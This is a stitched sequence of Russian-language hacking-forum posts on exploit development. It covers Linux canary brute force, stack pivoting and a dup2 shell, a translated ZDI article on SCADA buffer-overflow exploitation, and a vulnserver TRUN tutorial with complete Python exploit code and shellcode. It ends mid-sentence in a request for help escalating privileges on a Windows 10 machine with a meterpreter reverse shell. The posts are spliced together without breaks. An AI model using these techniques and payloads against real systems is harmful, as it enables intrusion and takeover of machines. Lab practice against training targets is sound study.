Слева в вернем углу я запустил сервер. Он слушает порт в бесконечном цикле while (true){} - это 6й процесс снизу на фото. После этого я открыл дебаггер, потом открыл ещё одну консоль справа вверху, и подключился неткатом к серверу. В этот момент сервак создаёт форк - свой клон. Вернее часть себя. Ну и последний процесс - это команда ps a.
Так вот. Сервак загружен в память. Абсолютно в разных рандомных сегментах памяти. И он форкает новый процесс.
Дочерний форк - наследует от родительского и канарейку, и пространства памяти. Если бы это был бы syscall(execve) возможно дело бы обстаяло и иначе.
Но в случае с форками - все новые форки - будут абсолютно такими же, как и первый форк.
Все помнять слепую SQL injection? Помните там была техника, когда чар делился на пополам и сравнивался > или <. таким обазом время перебора уменьшалось.
Тоже самое, только по символьно
Зато не придётся брутить сразу все 8 байт. Лично я не мог сначала понять как
же так-то?
А потом написал сплоит почти на 300 строк питона. Вот кусочек:
*2 - это не касается канарейки, но касается дальнейшего брута $rbp и ret;
Особенно этому подвержен ret; так как во время брута мы просто на просто можем
запустить программу заново. Это не будет являться true для нашего символа.
Но и false мы не дождёмся от сервера. Так что если мы ждём дольше 10 секунд -
это false
*1 - дело в том, что питон очень пахабно относится к целостности данных. и может просто отработать быстрее чем прийдёт ответ от сервера. и забить на то, что бы этот ответ получить. учитываем это.
В принципе, я думаю должно быть +- понятно как оно работает. На эту тему много
инфы в инете.
Вывод: если у нас есть переполнение буффера в приложжении, где используется
fork(), и это приложение реагирует на легетимное завершение и не легетимное
завершение по разному (или хотя бы с разным промежутком времени) - это значит,
что мы можем посимвольно подобрать все байты трёх значений подряд (canary,
$rbp,
ret
за довольно короткий промежуток времени. Получить секретную канарейку, да и
ещё 2 лика в придачу!!! На стек - $rbp и на сам файл (либо libc) - ret;
Фух. Едем далее.
nano-stack-pivoting
В прошлый раз за адресом возврата у нас была 1 ячейка памяти, если я не
ошибаюсь. Мы могли положить туда адрес для ret; и сделать стек пайвотинг.
Кстати, можно записать в конспект: стек пайвотинг - это создание фейкового
стекфрейма в контроллируемой нами области памяти для того, что бы вместить
туда наш эксплоит. Применяется в том случае, когда для нашего эксплоита места
не хватает.
Другими словами, что бы осуществить атаку типа STACK PIVOTING нам нужно заменить содержимое RSP/ESP регистра на значение, которое нам подходит. А именно: сдвигает верхушку стека таким образом, что бы мы могли направить RIP/EIP на “рельсу” нашего чейна. В качестве нового значения для указателя стека (RSP/ESP) может быть практически что угодно, включая HEAP.
В боевых условиях, нам понадобится минималистичный хOP чейн, что бы выполнить инструкции, эквивалентные следующим:
pop esp; ret + payload_addr_on_the_heap
А это говорит о том, что наша “рельса” может находится сразу в начале RSP/ESPClick to expand...
Ок, вроде бы понятно. Меняем значение указателя верхушки стека - меняется сам стекфрейм - меняется его содержимое. Считай - прыгаем в свою функцию и там уже делаем что хотим.
Но, для этого нам нужно как миниму ret; гаджет и 1 ячейка памяти для того, что
бы туда прыгнуть. А что делать если её нету? А?
Вот представь, есть у тебя буффер, а за ним 8+8+8 байт которые ты можешь
перезаписать. канарейка, дно-стека, адрес возврата. И всё. И не байтом больше.
Где-то с вечера и почти до утра я возился с этой задачкой. А потом открыл для
себя LEAVE; RET;
получается следующий трюк: мы контролируем канарейку, $rbp и ret;
находим JOP-чейн, знакомый нам с прошлого но-врайт-апа, который прыгает на код
который указан по адресу, который лежит в $rbp.
ещё раз: JMP [rbp] == выполнить инструкцию, адрес которой лежит в ячейке
памяти, адрес которой лежит в регистре $RBP --- это надо понимать!
Сам буффер мы контролируем. ячейки памяти в нем - тоже. оффсеты мы знаем. лики
у нас есть. то есть, мы смело можем сказать что в перезаписанном $RBP будет
лежать стековый адрес где-то в начале нашего буффера, а в нём будет лежать уже
бинарный (из файла ELF) адрес на гаджет LEAVE; RET;
Который просто, мля, твроит чудеса, и детает нам новый стекфрейм прям там, где
выполняется.
Магия.
ну а дальше уже обычный роп-чейн.
FD
Файловые дескрипторы системы linux. их три: ввод, вывод, ошибка --- 0, 1, 2
сответственно
Почитай за них в инете подробнее, дорогой читатель, если с ними ещё не знаком.
это удобная и полезная вещь в повседневной жизни.
А вот в нашем контексте - это головная боль. Почему?
потому, что у форков есть один недостаток. Файловые дескрипторы тоже наследуются. Получается, что ввод, вывод и ошибки дочернего форка принадлежат тому терминалу, в котором запущен сервер. А работаем мы с ним - через сокет. (на скрине под номером 6). И прикол в том, что после брутфорса ret; у тебя будет примерно так:
и каждый раз этих мёртвых душ будет разное количество. и среди них выжевших
сокетов - тоже будет разное количество.
Ты наверное спросишь, при чём тут файловые дескрипторы ввода-вывода к
количеству подвисший дочерних форков?
Смотри: есть процесс сервера, у него всегда есть 4 файловых дескриптора: ввод
вывод ошибка и сокет.
железобетонно. Далее, в зависимотси от техники эксплуатации, количества
обычных подключенных к серверу людей и тд - количество сокетов ДО твоего
сокета - будет разным.
Если ты проэксплуатируешь сервер и запустишь там новый как-бы процесс - он
унаследует иерархию файловых дескрипторов. И твой /bin/sh откроется. Но
откроется он на сервере. Непоредственно в /dev/pts/1 в данном случае. Так вот,
есть такая функция в табличке syscall линкса (ссыль на нее будет в конце
статьи) - называется dup2(). Она перенаправляет потоки между файловых
дескрипторов, если грубо. Хавает она два параметра. int fd и int fd. И это
хреново. Хреново потому, что в стеке обычно есть заветный номер файлового
дескриптора твоего твоего сокета. Но, он явно за перделами твоего буффера. То
есть ты бы мог на него сослаться, мол, лежит интовое значение по адресу,
скажем, $RBP + 0x44.
Но мог бы ты это сделать, если бы у тебя функция dup2() кушала int* fd, int*
fd. А кушает, она зараза, исключительно целочисленное значение в чистом виде.
и ничего более.
Ты конечно же пойдёшь надёшь какой-нибудь гаджет, скопируешь в регистр это
значение и его скормишь уже в dup2() - но что же делать, если нету такого
гаджета?
Два варианта. 1 вариант - брутфорс. Причем не просто брутфорс. А брутфорс от
меньшего к большему. Дело в том, что если ты попытаешься перенаправить:
dup(6, 0) - из нулевого FD в 6-й FD
dup(6, 1) - из первого FD в 6-й FD
( дескриптор #2 с ошибками мы не трогаем, он нам не к чему)
- то у тебя всё сработает и ты получишь шелл.
если ты сделаешь то же самое, но с 5м - то шелл получит не о чём не
подозревающая соседка.
А если ты попробуешь перенаправить из нулевого в седьмой - не существующий (или на тот, на который нету прав) - то ничего не произойдёт. привязка дескрипторов останется на том же месте, где и была до вызова функции с не валидными значениями.
Отсюда следует, что если ты будет проделывать эту махинацию со всеми FD от 4х и до +бесконечности - то шансов у тебя будет значительно больше. Кстати, все эти движения происходят в твоем форке, с которым ты работаешь. пока ты их осуществляешь - для внешнего мира ничего, практически, не меняется. Зато когда ты заспаунишь шелл - он унаследует у этого процесса те дескрипторы, которые привязаны к тем сокетам, которые были на момент вызова тобой шелла из этого процесса. Кароче, перед тем как брать шелл - дескрипторы ввода и вывода должны писать в твой сокет.
mprotect
а что делать, если нету нужных гаджетов. и не работает брутфорс. нету просто
места у тебя в буффере перебрать столько значений гаджетами.
или просто ты хочешь сделать по красоте?
тогда будем делать стек исполняемым.
Для этого есть фукнция mprotect либо mmap. но с первой работать проще и
подходит она нам больше.
Особенность её в том, что она принимает ссылку на адрес, размер и бит
привелегий.
Бит - как и на файл rwx. 0 = ничего, 7 = полный доступ.
размер должен быть кратным. 100. 1000. 21000. так далее.
а вот адрес - адрес должен быть кратным размеру.
другими словами первый параметр долже заканчиваться на 000.
а это - головняк. почему? потому, что во первых оффсеты от базы стека до
начала буффера в стеке, да и вообще всего стекфрейма в стеке - могут
отличаться в форках.
Во вторых - стек может менять свой размер в ходе работы. И если ты слил адрес
со стека когда он был размером 0x21000 - это не гарантирует, что он будет
такого же размера, когда ты будешь вызывать mprotect.
решение было простым до безобразия:
во время брутфорса мы получаем адрес дна стека - $rbp
а потом берём, и тупо отрезаем у него 2 последний байта, потом добовляем
единицу к крайнему, что бы точно попасть, а вместо отрезанных - ставим нули. и
поподаем примерно в наш стек. Не обязательно в начало, но в стек.
А дельше - магия. чёрная магия эксплойтинга.
Вот как было:
Ты только зацени как красиво.
В-ж-ж-жух!
Класс!
После этого есть один не маловажный момент: хоть стек и стал исполняемым -
наша каретка - $RIP едет по возвратам из стека. По значениям которые лежат на
стеке.
А нам надо ее перевести на код, который лежит в стеке. Поможет нам снова JOP-
rop. Джопу - плевать что там на стеке лежит. ему важно что бы у него в адресе
был указатель на адрес инструкции, хоть в стеке, хоть в куче. Глваное что бы
там бит +X стоял.
Приземляемся мы на так называемый nop-sleed. Посадочная полоса. Просто ленивые
хакеры не хотят заморачиваться с выссчитываением адреса, по этому
заморачиваются потом нажимая SI SI SI в дебаггере
я зашёл на шелл-шторм и написал простой шелл-код на ASM который копирует
значение из ячейки адрес которой лежит в r15 в rdi (в r15 я указатель на
дескриптор положил заранее, так как в новом стекфрейме его уже будет найти
сложнее)
ну и победный
Ссылки:
/usr/include/asm-generic/unistd.h**
⇒ список вызовов syscall**
https://filippo.io/linux-syscall-table/**
**⇒ список вызовов syscall
http://shell-storm.org/online/Online-Assembler-and-Disassembler/
Gr33t1ngzZz: fuzzz, Ralf, ex0dus, IntercepterNG, bilka00
Fucking: mrOkey, mrOkey , ****mrOkey
На связи :3
p.s. ********для прохождения квеста нужно ещё разобраться с арифметическим
выражением XOR - вот тут можно почитать об этом ********
Crypto. Часть 2 ](https://m.habr.com/ru/post/482680/)
В данной статье узнаем про функцию crypt, узнаем как подбирать пароли к ZIP архиву с незашифрованными именами файлов, познакомимся с утилитой xortool, а так же...
![m.habr.com](/proxy.php?image=https%3A%2F%2Fdr.habracdn.net%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=f66eeb369fa7c1094902e8864a60bcc5&return_error=1) m.habr.com
Я люблю программное обеспечение SCADA. Я люблю бесконечные возможности процесса обучения, с доступной и простой установкой. Ищете первое переполнение буфера в стеке? Попробуйте SCADA. SQL-инъекция? Попробуйте SCADA! Готовы перейти в NT AUTHORITY/SYSTEM с непривилегированного аккаунта в считанные секунды? Попробуйте SCADA!
Если серьезно. Я люблю программное обеспечение SCADA. В любое время, когда я хочу получить больше информации о конкретной классификации ошибок или когда я делаю модификации в своем фаззинг инструменте, я всегда возвращаюсь к SCADA. Главным образом потому, что это то, с чего я начал, когда стал присылать баги в ZDI, но это также никогда не подводило меня с точки зрения нахождения немедленных результатов. В плане поиска багов в SCADA.
[Pwn2Own Miami](https://www.zerodayinitiative.com/blog/2019/10/28/pwn2own- miami-bringing-ics-into-the-pwn2own-world) прямо за углом, я хотел очень сильно вернуться туда с одним из моих любимых багов - позорном IOCTL Advantech 0x2711. Первоначально баг был обнаружен и отрепорчен в ZDI Стивеном Сили. Я писал об этом в [2018 году](https://www.thezdi.com/blog/2018/9/13/pivot-pivot-reaching-unreachable- vulnerable-code-in-industrial-iot-platforms) и по какой-то причине я все еще чувствую личную привязанность к этому багу. Не аутентифицированный RCE через RPC администратора. Это просто ужас.
Интересно, что этот баг проходил через программу ZDI несколько раз, и хотя некоторые изменения были сделаны, основная проблема все еще существует. Я думал, что если Advantech не собирается это исправлять, я буду злоупотреблять этим и просто буду бить их снова и снова в надежде, что им надоест слушать меня и наконец они закроют багу.
Примечание: я все еще жду этого дня.
Но я хочу потратить немного времени и рассказать о моем общем подходе к фаззингу, и в данном конкретном случае продемонстрировать, почему развертывание продукта без современных мер безопасности с устаревшим стандартом кодирования все еще актуальная проблема в 2020 году.
Давайте поговорим о процессе.
Рисунок 1: Процесс фаззинга
Независимо от целевого продукта, мой подход всегда придерживается одной и той же структуры. Я собираюсь сгенерировать что-то (то есть аргументы, ввод на основе файлов и т. Д.), Изменить его и передать в приложение с присоединенным отладчиком. По истечении заданного промежутка времени я прерву целевой процесс и запишу результаты. Креши будут изолированы, и процесс начнется заново.
После сбоя приложения я хотел бы использовать расширение !Exploitable для windbg, чтобы помочь с дедупликацией и установлением приоритетов и возникновением сбоев. Для тех, кто не знаком с этим расширением, !Exploitable вызывается после сбоя приложения и пытается классифицировать сбой на основе анализа, который он выполняет. Каждому сбою присваивается категория «Возможность эксплуатации» (т.е. «Возможный для эксплуатации», «Вероятно, пригодный для эксплуятации», «Не пригодный для эксплуатации» и т. д.) И хэш, связанный с крешем. Я использую эту информацию, чтобы распределить падения на основные категории. В итоге это выглядит так:
Рисунок 2: Результаты сбоя
Отсюда мы можем открыть журнал отладки, чтобы лучше понять причину сбоя приложения. Например, если мы посмотрим на файл журнала для bwmail.exe (ZDI-18-047, репорт предоставленный Стивеном Сили ), мы увидим, что он завершился сбоем из-за переполнения буфера в стеке.
Рисунок 3: Переполнение буфера в стеке
Если бы мы открыли bwmail.exe в IDA Pro, мы могли бы обнаружить, что основной причиной этой ошибки было использование вызова из запрещенного списка API вызов strcpy. Если мы перезапустим приложение и установим точку остановки для этого вызова и сбросим содержимое регистра EAX, мы увидим, что он содержит нашу полезную нагрузку.
Рисунок 4: первопричина
Если мы пропустим этот вызов и исследуем стек, мы увидим, что он полностью перезаписан нашей полезной нагрузкой. Без ASLR и DEP, о которых стоит беспокоиться, этот случай кажется лучшим кандидатом для написания нашего эксплойта. Но сначала нам нужно убедиться, что мы действительно можем отправить наш пейлоад по сети.
Рисунок 5: Остатки стека
Чтобы проверить это на RPC, я собираюсь использовать некоторый код, который был опубликован исследователем ZDI - Фрицем Сэндсом, вместе с его постом в [блоге,](https://www.zerodayinitiative.com/blog/2018/6/7/down- the-rabbit-hole-a-deep-dive-into-an-attack-on-an-rpc-interface) рассказывающем об Advantech и RPC. Для этого я собираюсь использовать две машины: машина с Windows 7 справа - это злоумышленник, а машина с Windows 10 слева - жертва. Я присоединяю windbgк webvrpcs к процессу, включаю отладку и запускаю. Как и ожидалось, отладчик приостановился, и мы можем увидеть, что мы успешно перезаписали стек. Время строить эксплойт.
Рисунок 6: Проверка возможности удаленной доставки полезной нагрузки
Чтобы ускорить разработку, я собираюсь использовать windbg и реализацию mona, написанную Питером Ван Экхутом . Мона имеет несколько замечательных функций, которые действительно упростят этот процесс. Прежде всего, нам нужно увидеть, в какой момент буфер был перезаписан. Для этого мы можем использовать mona для генерации циклического шаблона - уникальной неповторяющейся строки символов, которую мы можем искать во время отладки.
Рисунок 7: Создание циклического паттерна с моной
Затем мы отправляем этот шаблон обратно в приложение bwmail в качестве аргумента командной строки, и, как и ожидалось, происходит сбой приложения.
Рисунок 8: Сбой на основе циклического шаблона
Как только отладчик останавливается при сбое, мы используем findmsp функциональные возможности mona для поиска в памяти процесса приложений всех ссылок на циклический шаблон. Когда я смотрю на вывод таким образом, я сначала проверяю раздел регистров, чтобы найти одну из трех вещей: перезаписать сохраненный указатель возврата (EIP), прямое управление регистром или переписать обработчик структурированных исключений (SEH). В этом конкретном примере нам нужно начинать с перезаписи SEH.
Рисунок 9: Нахождение циклического паттерна с помощью функции Моны findmsp
Мона говорит нам, что запись регистрации следующих исключений (nSEH) перезаписывается после отправки 1192 байтов данных. Достаточно много байтов данных для перезаписи. Но что теперь?
Теперь используем sehchain, mona на самом деле напечатает шаблон-скелет эксплойта для использования. Давайте взглянем.
Рисунок 10: Предлагаемый формат полезной нагрузки, предоставленный Mona
Для этого нам понадобится 1192 байта данных, short jump, инструкция pop/pop/ret и некоторый шелл-код. У нас есть 1192 байта для перезаписи. У нас есть short jump. Далее нам нужно расположение набора инструкций pop/pop/ret. Мона seh -n будет искать в памяти процесса эти инструкции и исключать любые результаты, содержащие нулевой байт.
Рисунок 11: Использование mona для поиска инструкций pop/pop/ret
Mona возвращает длинный список допустимых инструкций pop/pop/ret, а также, если библиотека использует преимущества современных средств защиты от эксплойтов, таких как DEP или ASLR. К счастью для нас, ничего из этого не найдено здесь. ?
Рисунок 12: Результаты
Как только мы добавим наш шелл-код для Windows, у нас будет все, что нужно для эксплойта. Собрав все это вместе, мы получим нечто, похожее на это:
Рисунок 13: Соединяем все вместе
Вывод
Если вы всегда хотели начать с поиска ошибок и заработать дополнительные
деньги, вы не ошибетесь с программным обеспечением SCADA. Отсутствие
современных мер по снижению риска и распространению небезопасных методов
кодирования делают его сочной целью для исследователей, так и для
злоумышленников. Чего же ты ждешь? Загрузите некоторое программное
обеспечение, запустите этот отладчик и отправьте ваши баги в ZDI!
Я надеюсь увидеть вас в Майами, где (надеюсь) будут продемонстрированы другие ошибки SCADA участниками Pwn2Own. А пока вы можете найти меня в твиттере @mrpowell и следить за командой ZDI , чтобы узнать о новейших техниках эксплуатации и исправлениях безопасности. Увидимся в Майами!
Источник: [ZDI](https://www.zerodayinitiative.com/blog/2020/1/15/reliably-
finding-and-exploiting-icsscada-bugs)
Автор: Mat Powell
Привет дамага!!! Сегодня в период пандемии мы живем в не простое время. Сидя дома на самоизоляции порой можно сойти сума... А можно провести время с пользой. И занять себя чем-то полезным. Меня довольно таки часто спрашивают как начать ? Ответ просто с практики. Можно начать с тренировочных программ и с примеров по типу Gera Secure Programming. Или же можно начать участвовать в CTF и решать различные таски из категории PWN. Но, если не хочется участвовать в цтфах и пывнить тренировочные программы. Можно начать с более абстрактных вещей. С программ под Windows.
На github есть замечательный репазиторий со список уязвимых программ, которые нужно отпывнить. Совокупность отпывненных программ помогают подготовиться к OSCP\OSCE. А именно получить тот бекграунд который нужен для Exploit- Development'а. Кстати говоря, некоторые завалили экзамен, по той причине, что не смогли разобраться в данной теме. Я думаю, что ты %username% не из таких. Ведь правда? И ты готов дать бой.
Вот сам репазиторий, который поможет в подготовке для OSCP\OSCE
Spoiler: тык
Developed proof-of-concept exploits for various types of vulnerabilities and mitigation bypasses with user-mode Windows applications, New CVE's produced via this repo: CVE-2019-16724, CVE-2019-...
github.com
Пользоваться им достаточно просто. К примеру берем из списка Vulnserver TRUN vanilla EIP overflow и начинаем пывнить.
Вот сам процесс как это все происходит... Примерно так...
P.s. Делал всё на коленке поэтому - зиродеев тут нет (с)
Подготовка
Скачиваем уязвимую программу https://github.com/stephenbradshaw/vulnserver
Ставим отладчик https://www.immunityinc.com/products/debugger/
Качаем плагин для отладчика https://github.com/corelan/mona
Копируем плагин в папку PyCommands
прим. Тестирование проводилось на Windows 10
Открываем vulnserver под отладчиком и запускаем
Далее пишем в строке команд отладчика !mona для вывода всех команд
Настраиваем рабочую папку для плагина
!mona config -set workingfolder c:\logs\%p
План действий у нас будет такой
Перезапись EIP
Пишем в строке команду !mona pc 2500
Дальше переходим в рабочую папку C:\logs
и смотрим содержимое файла
pattern.txt
в нем содержится патерн, который мы только что создали.
Будем использовать строку в формате ASCII. Теперь напишем основу нашего
эксплойта.
Python:Copy to clipboard
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# overwrite eip
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Запускаем программу на выполнение в отладчике и запускаем наш эксплойт и смотрим в окно регистров, хватило ли длины созданного с вами нам паттерна для перезаписи регистра EIP.
Выполнение программы остановилось. А значит нашей строки — созданного паттерна его длины хватило. Мы уже контролируем EIP. И перезаписали его.
Offset EIP
Теперь когда мы перезаписали EIP. Нам надо вычислить смещение до EIP. Копируем текущее значение из EIP — 396F4338. И пишем в строке команд !mona po 396F4338 для того чтобы вычислить смещение…
Смещение до EIP = 2006, а следующие 4 байта перезапишут его. Проверяем.
Модифицируем наш эксплойт.
Python:Copy to clipboard
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# offset eip
buf += "A"*2006
#EIP
buf += "BBBB"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Затем нажимаем в отладчике ctrl+f2(перезапуск программы под отладчиком) и потом f9(запуск программы в отладчике) после чего запускаем наш эксплойт.
Как видно нам это удалось. Переходим к следующему шагу.
JMP ESP (ret2reg)
Поскольку использование хардкод адресов, является плохим тоном, мы будем
использовать более гибкий метод — ret2reg. Это некая попытка уйти от
статических адресов (хардкод адресов). Пишем в строке команд отладчика !mona jmp -r ESP
чтобы найти адрес нужной нам инструкции
Кликаем и переходим… Адрес нужной инструкции мы нашли
Code:Copy to clipboard
0x625011AF FFE4 JMP ESP
Этот адрес мы добавим в наш эксплойт
Python:Copy to clipboard
jmp_esp = "\xAF\x11\x50\x62"
Теперь перейдем к двум последним пунктам. Nops-sleds и shellcode
Nop-Sleds
Code:Copy to clipboard
buf += ‘\x90’*50
Shellcode
Ну а сам шеллкод мы сгенерирум в метасплойте…
Code:Copy to clipboard
msfvenom -p windows/exec CMD='calc.exe' exitfunc=thread -a x86 -f python -b '\x00'
Собираем все вместе…
Python:Copy to clipboard
#!/usr/bin/env python
import socket
# vuln command
buf = "TRUN ."
# offset eip
buf += "A"*2006
# EIP = address jump ESP (ret2reg)
buf += "\xAF\x11\x50\x62"
# NOP-Sleds
buf += '\x90'*50
# shellcode calc
buf += "\xdb\xd2\xb8\xf4\x29\xc9\x4f\xd9\x74\x24\xf4\x5a\x31"
buf += "\xc9\xb1\x31\x31\x42\x18\x83\xc2\x04\x03\x42\xe0\xcb"
buf += "\x3c\xb3\xe0\x8e\xbf\x4c\xf0\xee\x36\xa9\xc1\x2e\x2c"
buf += "\xb9\x71\x9f\x26\xef\x7d\x54\x6a\x04\xf6\x18\xa3\x2b"
buf += "\xbf\x97\x95\x02\x40\x8b\xe6\x05\xc2\xd6\x3a\xe6\xfb"
buf += "\x18\x4f\xe7\x3c\x44\xa2\xb5\x95\x02\x11\x2a\x92\x5f"
buf += "\xaa\xc1\xe8\x4e\xaa\x36\xb8\x71\x9b\xe8\xb3\x2b\x3b"
buf += "\x0a\x10\x40\x72\x14\x75\x6d\xcc\xaf\x4d\x19\xcf\x79"
buf += "\x9c\xe2\x7c\x44\x11\x11\x7c\x80\x95\xca\x0b\xf8\xe6"
buf += "\x77\x0c\x3f\x95\xa3\x99\xa4\x3d\x27\x39\x01\xbc\xe4"
buf += "\xdc\xc2\xb2\x41\xaa\x8d\xd6\x54\x7f\xa6\xe2\xdd\x7e"
buf += "\x69\x63\xa5\xa4\xad\x28\x7d\xc4\xf4\x94\xd0\xf9\xe7"
buf += "\x77\x8c\x5f\x63\x95\xd9\xed\x2e\xf3\x1c\x63\x55\xb1"
buf += "\x1f\x7b\x56\xe5\x77\x4a\xdd\x6a\x0f\x53\x34\xcf\xef"
buf += "\xb1\x9d\x25\x98\x6f\x74\x84\xc5\x8f\xa2\xca\xf3\x13"
buf += "\x47\xb2\x07\x0b\x22\xb7\x4c\x8b\xde\xc5\xdd\x7e\xe1"
buf += "\x7a\xdd\xaa\x82\x1d\x4d\x36\x6b\xb8\xf5\xdd\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create the socket
s.connect(("127.0.0.1", 9999)) #Connect to target.
print s.recv(1024) #print response.
s.send(buf) #send the stage
s.close() #close socket
Запускаем эксплойт
Запывнили? Хорошо... Теперь FreeFloat FTP Server vanilla EIP overflow
Вот в таком духе набиваем руку ~~пока глаз не начнет дергаться~~ до полного
понимая. Надеюсь вам поможет эта мини статья в получении заветного OSCP\OSCP.
А возможно именно ты %username% даже сможешь сдать AWE (OSEE).
p.p.s. Так же буду рад вашим врайтапам любого софта)
Специально для XSS.is (c)
Добрый вечер, буду краток. Есть тачка, win10 (1909). Имеется доступ по ssh
локального пользователя. Хочу повысить привелегии до лок админа, пытаюсь
сделать следующее: через sftp загружаю в папку OneDrive file.exe(внутри
win/meterpreter_reverse_tcp), сделанный посредством venom, (так же пробовал
reverse_http/https/dns), все успешно загрузилось, захожу по ssh на компьютер и
